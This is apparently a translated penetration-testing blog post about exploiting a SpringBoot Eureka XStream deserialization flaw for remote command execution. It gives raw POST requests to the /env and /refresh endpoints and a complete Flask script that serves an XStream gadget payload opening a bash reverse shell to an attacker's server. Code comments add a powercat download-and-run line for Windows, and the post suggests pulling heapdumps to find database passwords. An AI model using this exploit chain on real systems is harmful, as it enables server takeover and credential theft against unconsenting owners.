SpringBoot eureka XStream Deserialization Command Execution Vulnerability#
0x01 Introduction#
Recently, it has been discovered that many websites are built using SpringBoot. In general, when conducting directory scanning or fingerprint scanning, it is possible to discover vulnerabilities if SpringBoot is not properly configured.
For more information about SpringBoot, please refer to: GitHub - LandGrey/SpringBootVulExploit: SpringBoot Vulnerability Learning Materials, Exploitation Methods and Techniques Collection, Black Box Security Assessment Check List, which provides detailed information on SpringBoot techniques and exploitation methods.
The vulnerability discovered this time is the remote command execution vulnerability in SpringBoot eureka, with the specific process being: Information Disclosure - DNSLOG Testing - RCE.
0x02 Exploiting the Vulnerability#
Through information gathering, it was found that the target is listening on port 9099. After accessing it, it is a SpringBoot eureka site with the following interface:
Since it is SpringBoot eureka, it may have a deserialization RCE vulnerability. However, there are many prerequisites for exploiting this vulnerability.
Vulnerability exploitation conditions:
- Able to send a POST request to the /env endpoint of the target to set properties
- Able to send a POST request to the /refresh endpoint of the target to refresh the configuration
- The version of
eureka-client
used by the target is less than 1.8.7 - The target can make HTTP requests to the internet
- The /env endpoint can be accessed directly, and through this, it can be determined that the version of SpringBoot is 1.x. If the version is 2.x, then the /actuator/env endpoint is required to access the following page.
- Through DNSLOG requests, it is possible to test whether /env, /refresh, and HTTP requests can reach the internet.
First, set the eureka.client.serviceUrl.defaultZone property.
POST /env HTTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
eureka.client.serviceUrl.defaultZone=http://<dnslog address>
- Accessing /configprops allows you to see the eureka.client.serviceUrl.defaultZone property that was set.
- Send a POST request to refresh the configuration using /refresh.
POST /refresh TTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
- After execution, wait for the DNSLOG to receive the request. When I was testing, it took a bit of time to receive the request, so you need to be patient. If you receive the request, it means that it has been successful.
- After proving the existence of the vulnerability, you can start to bounce the shell.
Provide a Python script that meets the requirements and depends on Flask to bounce the shell using bash. Modify the IP and port in the script, set the IP to the IP of the VPS, and set the listening port to the port that nc is listening on. Finally, run this Python script on the VPS.
# -*- coding: utf-8 -*-
# @Time : 2019/3/12 10:06
# @Author : j1anFen
# @Site :
# @File : run.py
# Linux shell bounce bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# Windows shell bounce
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/<vps IP address>/8446 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8088)
First, run the above script, which runs a web server.
You can access it with a browser to check.
Then, start listening on nc on the VPS.
After completing the preliminary work, go through the previous DNSLOG verification process. First, send a POST request to set properties using the /env endpoint, and then configure the /refresh endpoint.
0x03 Conclusion#
- The entire process is not complicated, except that patience is required at the DNSLOG verification step.
- There are other things to test for SpringBoot, such as downloading heapdumps from this site, which can be used to find database passwords.